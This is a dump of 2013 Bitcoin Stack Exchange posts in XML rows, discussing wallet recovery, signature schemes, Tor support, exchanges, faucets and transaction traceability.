  <row Id="12877" PostTypeId="2" ParentId="12840" CreationDate="2013-08-23T09:59:43.730" Score="2" Body="&lt;p&gt;Unfortunately there is a library used in MultiBit/ bitcoinj for networking (called netty) that does not support SOCKS proxies. Thus currently you cannot set up MultiBit to use Tor.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It is something we want to support so there are plans afoot to refactor the code and use a different networking library that does support SOCKS proxies.&lt;/p&gt;&#xA;" OwnerUserId="888" LastActivityDate="2013-08-23T09:59:43.730" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12879" PostTypeId="1" CreationDate="2013-08-23T11:40:02.370" Score="2" ViewCount="180" Body="&lt;p&gt;The recent &lt;a href=&quot;http://bitcoin.org/en/alert/2013-08-11-android&quot; rel=&quot;nofollow&quot;&gt;problem&lt;/a&gt; with Android's &lt;a href=&quot;http://android-developers.blogspot.com/2013/08/some-securerandom-thoughts.html&quot; rel=&quot;nofollow&quot;&gt;SecureRandom&lt;/a&gt; PRNG once again shows that using (EC)DSA can &lt;a href=&quot;http://blog.cryptographyengineering.com/2012/03/surviving-bad-rng.html&quot; rel=&quot;nofollow&quot;&gt;go horribly wrong&lt;/a&gt; if the signature nonce is ever reused.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is an elliptic curve signature scheme that doesn't share this property: &lt;a href=&quot;http://ed25519.cr.yp.to/&quot; rel=&quot;nofollow&quot;&gt;Ed25519&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a mechanism in the Bitcoin protocol to allow transition to a new address/signature format? Would there have to be a new opcode, or does OP_CHECKSIG already support different key types?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What would happen to clients that don't support a new key format, but receive transactions from such a new address/key? Would SPV clients trust a transaction that they can't verify themselves, or reject the block containing it as invalid?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In any case, the new format can only be used once (nearly) all clients support it, but could this be implemented at some point, and enabled some time later?&lt;/p&gt;&#xA;" OwnerUserId="4607" LastActivityDate="2013-08-23T19:29:09.753" Title="Would a transition to a different signature scheme be feasible?" Tags="|signature|ecdsa|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12882" PostTypeId="2" ParentId="12858" CreationDate="2013-08-23T13:07:24.380" Score="0" Body="&lt;p&gt;There a description here&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://bitcointalk.org/?topic=847.0;wap2&quot; rel=&quot;nofollow&quot;&gt;https://bitcointalk.org/?topic=847.0;wap2&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It seem to add extra anonymity to transactions in that its not possible to see incoming or outgoing transactions to an account, only that the account actually transacted. I'll look into this later but anyone in the know are most welcome to point other descriptions of value.&lt;/p&gt;&#xA;" OwnerUserId="4842" LastActivityDate="2013-08-23T13:07:24.380" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12883" PostTypeId="2" ParentId="12858" CreationDate="2013-08-23T13:12:14.227" Score="6" Body="&lt;p&gt;Open-Transactions is a free software library of financial cryptography primitives, used for implementing cryptographically secure financial transactions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Open-Transactions also includes a server and client API.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Open-Transactions can be used for issuing currencies/stock, paying dividends, creating asset accounts, sending/receiving digital cash, writing/depositing cheques, cashier's cheques, creating basket currencies, trading on markets, scripting custom agreements, recurring payments, escrow, etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Open-Transactions uses strong crypto. The balances are unchangeable (even by a malicious server.) The receipts are destructible and redundant. The transactions are unforgeable. The cash is untraceable. The cheques are non-repudiable. Etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Open-Transactions is able to prove all balances, as well as which instruments are still valid, and which transactions are closed, &lt;em&gt;without&lt;/em&gt; storing any transaction history (other than the last signed receipt.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;OT can be used to build wallets, market exchanges, and many other things. Basically anywhere you want to build secure transactions, you can use OT.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;how does money get into the open transactions network?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Any user choosing to act as an issuer can issue his currency onto OT servers by uploading a signed currency contract and then issuing a number of units. Then any other user can use the same currency contract to open asset accounts denominated in that same currency. (In practice, most users will not issue their own currencies, but simply use existing ones.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Upcoming additions will enable currency units based on blockchain-based currencies to be issued on OT &lt;em&gt;without&lt;/em&gt; an issuer, since the backing reserves will be stored in a multisig voting pool on the blockchain itself. For details on how this will work, see: &lt;a href=&quot;https://bitcoin.stackexchange.com/a/834/6473&quot;&gt;https://bitcoin.stackexchange.com/a/834/6473&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You may also be interested in this: &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/2708/how-can-open-transactions-benefit-bitcoin&quot;&gt;How can Open Transactions benefit Bitcoin?&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="6473" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.660" LastActivityDate="2013-08-23T17:14:20.020" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="12884" PostTypeId="1" CreationDate="2013-08-23T13:56:21.127" Score="1" ViewCount="940" Body="&lt;p&gt;I recently installed Windows 8 on a separate HDD, copied over the BitCoin-qt directory, and the data directory. Including the wallet.dat.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But after running the -resync, my wallet shows up empty, and I have a new address.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can someone please help me through transferring my wallet, I had 2 BTC in there.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;*Note, I ran -resync in CMD and by appending it to the shortcut. I also have a relocated DataDIR&lt;/p&gt;&#xA;" OwnerUserId="6487" LastActivityDate="2013-11-21T19:46:30.050" Title="Changed HDD, New Windows Installation, Can't recover old wallet" Tags="|wallet|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="12885" PostTypeId="2" ParentId="12884" CreationDate="2013-08-23T14:38:38.573" Score="1" Body="&lt;p&gt;There is no command line argument -resync, you might want -rescan instead.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, if you're faced with a brand new wallet I don't think that's the problem. More likely the data directory that Bitcoin-qt looks for is in a different location than where you placed your old copy.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does the shortcut you use include the -datadir argument to redirect to your desired location, and was wallet.dat copied to that location?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You should try searching your filesystem for wallet.dat, if you find the new created wallet you'll know where Bitcoin-qt looks for the data directory.&lt;/p&gt;&#xA;" OwnerUserId="575" LastActivityDate="2013-08-23T14:38:38.573" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="12886" PostTypeId="1" AcceptedAnswerId="30811" CreationDate="2013-08-23T16:31:29.667" Score="2" ViewCount="191" Body="&lt;p&gt;I would like to try to download and compile a barebones variation of the Bitcoin daemon.  Specifically, I'd would prefer to not have a copy of the code with any GUI implementation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does such a reliable, and maintained, forked project exist on Github or any where else?&lt;/p&gt;&#xA;" OwnerUserId="16" LastEditorUserId="5406" LastEditDate="2014-10-03T21:59:13.803" LastActivityDate="2014-10-03T21:59:13.803" Title="Is there a bitcoin source, fork available that does not include a GUI?" Tags="|bitcoind|bitcoin-core-development|" AnswerCount="1" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="12887" PostTypeId="2" ParentId="12826" CreationDate="2013-08-23T17:25:05.113" Score="1" Body="&lt;p&gt;Please take all these answers with a grain of salt and consider talking to either a tax professional or a tax attorney to get advice on how to report profits/losses from Bitcoin, &lt;em&gt;especially&lt;/em&gt; if you are either a business or are reporting a substantial amount.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The Internet is great and StackExchange is wonderful, but when it comes to taxes, err on the side of caution and speak to a professional in your country who knows the laws and regulations in question or can research them if necessary.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you're ever audited (or worse, in Court) the difference between &quot;per my tax attorney's advice&quot; and &quot;per the advice I got on the Internet by RandomCommenter69&quot; could be &lt;em&gt;huge&lt;/em&gt;.&lt;/p&gt;&#xA;" OwnerUserId="1448" LastActivityDate="2013-08-23T17:25:05.113" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12888" PostTypeId="2" ParentId="9496" CreationDate="2013-08-23T17:36:51.757" Score="0" Body="&lt;p&gt;Currently none for virtual currencies.  You may want to contact each exchange you are comfortable with and ask them if/when they intend to install that.  I have done similar with some FOREX programs ( using the pretend cash ) with success and have yet to see more than just straight buy/sell at this point.  The virtual currency exchanges are still in their infancy and could use some prodding to get up to speed with the tools that FOREX traders currently have available.&lt;/p&gt;&#xA;" OwnerUserId="6080" LastActivityDate="2013-08-23T17:36:51.757" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12889" PostTypeId="2" ParentId="11251" CreationDate="2013-08-23T17:46:18.530" Score="0" Body="&lt;p&gt;With the time between transactions, it currently can't be done.  The closest you can do is ( on windows ) copy the contents of (boot drive):\documents and settings(user)\application data\Bitcoin on Linux systems /home/(user)/.bitcoin&#xA;I am not fluent on Mac systems so no idea where it is stored there.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The entire contents contain the block chain, peers, your wallet and status of confirmation of transactions.  It will still try and re-sync even with these files, but at least you will not have to depend on network traffic to get it.&lt;/p&gt;&#xA;" OwnerUserId="6080" LastActivityDate="2013-08-23T17:46:18.530" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12890" PostTypeId="2" ParentId="9825" CreationDate="2013-08-23T17:51:45.303" Score="1" Body="&lt;p&gt;Virtual Currency wallets show as 'pending' until enough transactions have happened AFTER that one in the block chain.  It is a feature to prevent false sends and doubble spends of wallet to wallet transactions.  Not all wallets let you know how many more blocks need to come after to ensure the transaction is a valid one.  Time and patience will eventualy show that it is complete.  If it is still ' pending ' after 48 hours, contact the other party to see if there is an issue at their end.&lt;/p&gt;&#xA;" OwnerUserId="6080" LastActivityDate="2013-08-23T17:51:45.303" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12892" PostTypeId="2" ParentId="9725" CreationDate="2013-08-23T18:04:18.560" Score="1" Body="&lt;p&gt;It may not be as high as you expect with out compiling CPUMINER for multi core.&#xA;I can not tell if the last on the list is the same or a slower version of what you are referring to from this list online.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://litecoin.info/Mining_Hardware_Comparison#Other&quot; rel=&quot;nofollow&quot;&gt;http://litecoin.info/Mining_Hardware_Comparison#Other&lt;/a&gt;&#xA;based on that page, each Amazon High-CPU Extra Large Instance, running Ubuntu 12.04.1 and using pooler's cpuminer 2.2.3, has a script hash rate of 38 Khash/second. Rounding down ( habbit, no real math reason other than the real world is usually slower ) to 19 times that makes it an estimated 722  Khash/second and possibly faster.&lt;/p&gt;&#xA;" OwnerUserId="6080" LastActivityDate="2013-08-23T18:04:18.560" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12894" PostTypeId="2" ParentId="11213" CreationDate="2013-08-23T19:12:42.103" Score="2" Body="&lt;p&gt;Direct answers to your questions:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I) Technically this is not too difficult. Looping through every new transaction on each received new block does not take too many resources and checking each transaction against 100,000 public keys is no problem at all. However, I do not know of a tool that would do exactly so. (For example, &lt;a href=&quot;https://github.com/znort987/blockparser&quot; rel=&quot;nofollow&quot;&gt;blockparser&lt;/a&gt; can output all the balances of all the addresses in the entire block chain in under a minute.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;II) No. You can not transfer all the received bitcoins in one transaction as the maximum size for a transaction is 1 megabyte. That would be able to spend the money on, say, 4000 different addresses at once, but no more. Of course, you can give all the private keys to somebody else &quot;all at once&quot;, which enables them to spend the coins - but such a party would be unlikely to accept the sale as successful before transferring all the coins in to new addresses, just in case you kept the private keys as well.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;III) No, if you keep the attacker from learning all the public keys. If, for example, the public key currently on the web server is easily viewable, the attacker can just poll your website, note down all the public keys seen and then check all the transactions for the keys. However, if you reveal the public keys only to legitimate buyers (or something) or do not reuse keys ever, the attacker has no way of knowing the full set of keys that belong to you. This also requires some care on the spending side of the coins - if you do a transaction that links the coins to your site somehow, this can be observed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, there are some more advanced methods of using bitcoin public keys that will achieve more than what you have asked here. You can see for example &lt;a href=&quot;https://en.bitcoin.it/wiki/BIP_0032&quot; rel=&quot;nofollow&quot;&gt;Hierarchical Deterministic Wallets&lt;/a&gt;. The choices are numerous and the best way to achieve your goals might not be the most obvious one.&lt;/p&gt;&#xA;" OwnerUserId="388" LastActivityDate="2013-08-23T19:12:42.103" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12895" PostTypeId="2" ParentId="12879" CreationDate="2013-08-23T19:29:09.753" Score="1" Body="&lt;p&gt;Well, for starters I must say that the problem with ECDSA nonce can be avoided even when using ECDSA via the same method used in Ed25519, and indeed this method is not even novel to Ed25519. But, let's assume we need to change the signature algorithm for some reason.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;OP_CHECKSIG does not support different key types per se. The public key given as input is either an uncompressed or compressed EC point, starting with 0x04, 0x03 or 0x02. Any other starting byte could be used for different transaction types, if desired. However, a separate opcode would (IMHO) be cleaner.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The only required changes are on the script side, either modifications to OP_CHECKSIG opcode or the introduction of a new opcode. And after this, miners need to start accepting transactions containing the new style signatures as &quot;standard&quot; scripts.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;All &quot;full&quot; bitcoin clients verify all transactions that are present in a block (run all scripts). This means that they will refuse to accept a block that can not be verified (even if it only has one transaction failing verification). This means that if such a change is incorporated, the block chain will fork for the clients that do not support such transactions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Nearly all clients will need to support the new signatures and the clients that do not will become unusable when encountering the first block that has a transaction with a new signature.&lt;/p&gt;&#xA;" OwnerUserId="388" LastActivityDate="2013-08-23T19:29:09.753" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="12896" PostTypeId="2" ParentId="9496" CreationDate="2013-08-23T19:37:06.977" Score="1" Body="&lt;p&gt;This is simple to achieve with an API (offered by most exchanges) and a bot. It is not foolproof as rapid price movements may escape it, but it is probably good enough. However, I do not know of such bot.&lt;/p&gt;&#xA;" OwnerUserId="388" LastActivityDate="2013-08-23T19:37:06.977" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12897" PostTypeId="2" ParentId="11563" CreationDate="2013-08-24T02:49:36.620" Score="-1" Body="&lt;p&gt;Yes, and they are online wallets.  At this late answering of your question, most online wallets now support multiple wallet sends as 1 transaction, but not all.  Some still have a limit to how many 'second sends' per transactions to increase the fees for sending.  The ' offline ' wallets ( the personal wallets not hosted online ) all seem to allow adding additional addresses by clicking a plus sign then entering the wallet/amount for the nTH wallet you want to send to with out having to code the transaction by hand.&lt;/p&gt;&#xA;" OwnerUserId="6080" LastActivityDate="2013-08-24T02:49:36.620" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="12899" PostTypeId="1" CreationDate="2013-08-24T03:42:36.133" Score="0" ViewCount="504" Body="&lt;p&gt;On a bitcoin exchange one buys, sells, and stores bitcoins.  Having sold them, one might want to withdraw dollars, euros, pounds sterling, etc.  It is suggested that the fact that MtGox is running two months behind schedule on withdrawals in other currencies may be the result of the confiscation of $5 million from MtGox's bank accounts, so they have a cash-flow problem.  If that makes the use of MtGox as opposed to other exchanges disadvantageous, what are the pros and cons of the various others?&lt;/p&gt;&#xA;" OwnerUserId="492" LastActivityDate="2014-04-01T13:28:36.673" Title="Choosing bitcoin exchanges" Tags="|exchanges|mtgox|wire-transfers|withdrawal|" AnswerCount="3" CommentCount="2" ClosedDate="2014-04-01T13:54:54.867" ContentLicense="CC BY-SA 3.0" />
  <row Id="12900" PostTypeId="2" ParentId="5304" CreationDate="2013-08-24T04:20:04.797" Score="1" Body="&lt;p&gt;No, according to the information on small and micro instances at this link.&#xA;&lt;a href=&quot;http://docs.aws.amazon.com/AWSEC2/latest/UserGuide/concepts_micro_instances.html&quot; rel=&quot;nofollow&quot;&gt;http://docs.aws.amazon.com/AWSEC2/latest/UserGuide/concepts_micro_instances.html&lt;/a&gt;&#xA;Bitcoin.conf ( the Bitcoin Configuration file ) may have an option set to 1 to activate mining within the client software.  If you have it set as ' gen=1 ' it will try and ' generate ' coins ( mine on it's own ) and that drives CPU usage up.  Also, according to the graphs on that link, it should not ' jump ' to 100 percent use, each instance should drop down to a low usage level for small and micro Amazon EC2 instances.  There may be other programs running on your Amazon EC2 instance that can also drive up CPU usage so I recommend checking your files starting with looking for any instance of Minerd ( cpu miner ) and removing it. &lt;/p&gt;&#xA;" OwnerUserId="6080" LastActivityDate="2013-08-24T04:20:04.797" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12901" PostTypeId="2" ParentId="12899" CreationDate="2013-08-24T05:57:32.680" Score="1" Body="&lt;p&gt;You hit the nail on the head my friend...You get less money/fiat per btc because they are all competing together for price so market efficiency is lower - usually withtin the scope of 20 percent lower.  However for this loss in premium, you can be guaranteed to receive a deposit in two weeks or less in most cases.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However the volume on Gox is higher I believe because of the history large players probably continue to use their services because AML verification limits already occurred and those cost money.  Plus, if the money is simply there to be traded and appreciated upon then it makes sense to keep the credits available such that you buy in low and sell out high.&lt;/p&gt;&#xA;" OwnerUserId="5486" LastActivityDate="2013-08-24T05:57:32.680" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12905" PostTypeId="2" ParentId="367" CreationDate="2013-08-24T09:16:08.050" Score="2" Body="&lt;p&gt;First announcement was 2009 November 1 on Metzdowd cryptography list.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Relevant archives found here: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.mail-archive.com/search?l=cryptography@metzdowd.com&amp;amp;q=from:%22Satoshi+Nakamoto%22&quot; rel=&quot;nofollow&quot;&gt;http://www.mail-archive.com/search?l=cryptography@metzdowd.com&amp;amp;q=from:%22Satoshi+Nakamoto%22&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.mail-archive.com/search?l=cryptography@metzdowd.com&amp;amp;q=%22Bitcoin+P2P+e-cash+paper22&quot; rel=&quot;nofollow&quot;&gt;http://www.mail-archive.com/search?l=cryptography@metzdowd.com&amp;amp;q=%22Bitcoin+P2P+e-cash+paper22&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.mail-archive.com/search?l=cryptography@metzdowd.com&amp;amp;q=%22Bitcoin+v0.1+released%22&quot; rel=&quot;nofollow&quot;&gt;http://www.mail-archive.com/search?l=cryptography@metzdowd.com&amp;amp;q=%22Bitcoin+v0.1+released%22&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Pretty raw stuff.  Paper now posted is much refined and clarified from first version. &lt;/p&gt;&#xA;" OwnerUserId="6421" LastActivityDate="2013-08-24T09:16:08.050" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12907" PostTypeId="1" AcceptedAnswerId="12929" CreationDate="2013-08-24T13:20:25.030" Score="4" ViewCount="15825" Body="&lt;p&gt;I have a question after a silly discussion.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;We discussed for the best way for terrorists to get money. I have offered bitcoins. My question is: is it possible to trace who has cashed out bitcoins into money if you know the bitcoin wallet address.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I think it should be possible to trace, but how to trace such a thing?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;NOTE:&lt;/strong&gt; I'm just talking about cashing out bitcoin into money, not buying some cheap stuff.&lt;/p&gt;&#xA;" OwnerUserId="6503" LastEditorUserId="120" LastEditDate="2013-08-25T23:15:57.490" LastActivityDate="2021-01-28T03:44:53.400" Title="Are Bitcoin transactions traceable?" Tags="|transactions|wallet|traceability|" AnswerCount="4" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12908" PostTypeId="1" AcceptedAnswerId="12922" CreationDate="2013-08-24T13:58:00.833" Score="2" ViewCount="870" Body="&lt;p&gt;When I am attempting to reserve a name using the command:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;namecoind.exe name_new d/&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I keep getting this error...&#xA;error: {&quot;code&quot;:-4,&quot;message&quot;:&quot;Error: This transaction requires a transaction fee of at least 0.005 because of its amount, complexity, or use of recently received funds &quot;}&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, I have more than .005 in my namecoin wallet, that I am attempting to register from. I have .01 in fact. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;What is going on here? &lt;/p&gt;&#xA;" OwnerUserId="1987" LastEditorUserId="2306" LastEditDate="2017-03-01T17:25:45.400" LastActivityDate="2017-03-01T17:25:45.400" Title="Namecoin: This transaction requires a transaction fee...But I have NMC" Tags="|namecoin|rpc-error-4|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="12910" PostTypeId="2" ParentId="12907" CreationDate="2013-08-24T15:15:44.130" Score="0" Body="&lt;p&gt;Yes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Not so much because you could find that out now, but rather because someone &lt;em&gt;will&lt;/em&gt; find that out in the years to come.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So your suggestion is a bad proposition for someone who wants to remain unexposed forever.&lt;/p&gt;&#xA;" OwnerUserId="5837" LastActivityDate="2013-08-24T15:15:44.130" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12912" PostTypeId="1" CreationDate="2013-08-24T16:51:47.670" Score="1" ViewCount="473" Body="&lt;p&gt;Let's say I'm a photographer, and I want to sell my photograph as if it were fine art, so there's a limited edition print, or even just one which has been signed by me and can be thought of as genuine. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now, I know that there will be copies of the picture itself, because there's always easy ways, but how can I attach my photograph to a bitcoin or a portion of a bitcoin and thereby add value to the bitcoin and value to my phtotographs? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I  know colour coins are in the works, but lets turn it around. A bitcoin has no substance right? But what if instead of a wallet with a number inside, you could have a stack of bitcoins each with different pictures attached? It would be like a personal art gallery, cover flow with money. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas on this? &lt;/p&gt;&#xA;" OwnerUserId="5012" LastActivityDate="2013-11-04T21:38:29.253" Title="Can I attach a photograph to a bitcoin?" Tags="|wallet|development|namecoin|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="12915" PostTypeId="1" AcceptedAnswerId="12919" CreationDate="2013-08-24T20:25:57.863" Score="8" ViewCount="19018" Body="&lt;p&gt;I have bitcoin associated with a wallet that I am now moving from a server to external storage for backup. As far as I know, all I need to do is copy the wallet.dat file to external storage and I'm good (given that I won't be doing any transactions in the foreseeable future).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My question is: &lt;strong&gt;once I move the wallet.dat file over, how do I check --without downloading the block chain -- the balance associated with it to make sure all is well?&lt;/strong&gt;&lt;/p&gt;&#xA;" OwnerUserId="6508" LastEditorUserId="5406" LastEditDate="2013-08-25T18:14:13.137" LastActivityDate="2016-10-15T20:01:58.143" Title="Can I check balance of wallet.dat without downloading the block chain?" Tags="|backup|wallet.dat|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12919" PostTypeId="2" ParentId="12915" CreationDate="2013-08-24T23:14:53.220" Score="2" Body="&lt;p&gt;I think your question has an underlying misconception. The wallet only contains bitcoins in an abstract sense: &lt;em&gt;In realitas&lt;/em&gt; the wallet only stores the private keys that enable you to spend the bitcoin balance that is associated with your addresses. Think of it this way: When you look into your wallet, you only see a number of little boxes. You know that all these boxes are yours, but from the outside all boxes look the same, regardless of what they contain. You can only know how much you have in this boxes, by opening each of the and counting their contents. This &quot;looking into the boxes&quot; step happens by looking up the balances of your addresses in the public ledger (the block chain). The wallet.dat might contain the balance that was last counted when you compared to the blockchain, but can only be updated to the current state when counting the contents of the little boxes again.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, without downloading the blockchain and having your software calculate your current balance, you could only check &quot;if everything is alright&quot; by looking up specific addresses. If you received your bitcoins in one transaction the balance is associated only with one address and this address could easily be written down or memorized separately from the wallet. You could then proceed to look up the balance of it on a website such as for example &lt;a href=&quot;http://blockchain.info&quot; rel=&quot;nofollow&quot;&gt;http://blockchain.info&lt;/a&gt;. This can be done safely, as the address alone does not allow anyone to spend the bitcoins.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, summing up: Just from the wallet.dat you cannot get an update on the balance without acquiring additional information. You can however check the balance of addresses directly by using publicly available information.&lt;/p&gt;&#xA;" OwnerUserId="5406" LastEditorUserId="5406" LastEditDate="2013-08-25T15:05:34.997" LastActivityDate="2013-08-25T15:05:34.997" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="12920" PostTypeId="1" CreationDate="2013-08-25T00:13:03.573" Score="2" ViewCount="196" Body="&lt;p&gt;Is it possible to use &quot;Bitcoin days destroyed&quot; as unit of currency? If yes, how to price anything using this? If no, why not?&lt;/p&gt;&#xA;" OwnerUserId="2229" LastEditorUserId="15412" LastEditDate="2014-06-19T19:45:27.063" LastActivityDate="2014-11-17T23:46:19.757" Title="Pricing in &quot;Bitcoin days destroyed&quot;" Tags="|exchange-rate|value|bitcoin-days-destroyed|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12921" PostTypeId="2" ParentId="4358" CreationDate="2013-08-25T00:30:16.163" Score="0" Body="&lt;p&gt;To do this Mt.Gox must have unencrypted wallet.dat.  Technically, you will have to either unencrypt yourself, or provide passphrase to Mt.Gox.  Which depend how Mt.Gox manage feature.  Maybe both work. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Be very careful how transmit wallet and passphrase.  Use some good encryption, https if doing via web, PGP (encrypt mode, not sign mode) if doing via mail.  Transmit unencrypted wallet, or encrypted wallet with unencrypted passphrase, must have first secure channel.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also must trust Mt.Gox.  Mt.Gox has US$5M seized from accounts in last few days, and now under investigation American gov't.  Maybe difficulty paying you, specially if paying US$.  Maybe motivated give up customer secrets.  Maybe American gov't right.  Something to think about. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Cant say for you, but I would never use such service.  Suspicious bastard, me.  &lt;/p&gt;&#xA;" OwnerUserId="6421" LastActivityDate="2013-08-25T00:30:16.163" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12922" PostTypeId="2" ParentId="12908" CreationDate="2013-08-25T03:14:23.770" Score="3" Body="&lt;p&gt;You have enough to reserve the name (the &lt;a href=&quot;http://dot-bit.org/tools/domainCost.php&quot; rel=&quot;nofollow&quot;&gt;.01&lt;/a&gt; network fee) but then not enough to pay the transaction fee. If you wait a day or so for the coins to age, it might work.&lt;/p&gt;&#xA;" OwnerUserId="85" LastActivityDate="2013-08-25T03:14:23.770" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12923" PostTypeId="1" AcceptedAnswerId="12926" CreationDate="2013-08-25T04:39:28.533" Score="14" ViewCount="16765" Body="&lt;p&gt;Doing a simple Google search shows that there are many places on the Internet that say that they give out free bitcoins. All you need to do is give them your deposit address and confirm that you're not a robot, and boom, free bitcoins!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Do &quot;faucets&quot; like this really work, or are they scammers?&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Can a faucet do anything with your deposit address (other than deposit coins in it)?&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerDisplayName="user6398" LastEditorDisplayName="user6398" LastEditDate="2013-12-01T14:31:20.953" LastActivityDate="2016-06-07T22:44:22.540" Title="Do faucets actually work?" Tags="|address|fraud|faucets|" AnswerCount="3" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="12925" PostTypeId="2" ParentId="12746" CreationDate="2013-08-25T12:26:33.980" Score="2" Body="&lt;p&gt;Yes, and you might want to read up on &lt;a href=&quot;https://en.bitcoin.it/wiki/Change&quot; rel=&quot;nofollow&quot;&gt;handling change&lt;/a&gt; as that's one good reason to do so.&lt;/p&gt;&#xA;" OwnerUserId="6388" LastEditorUserId="6388" LastEditDate="2014-09-13T17:54:09.843" LastActivityDate="2014-09-13T17:54:09.843" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
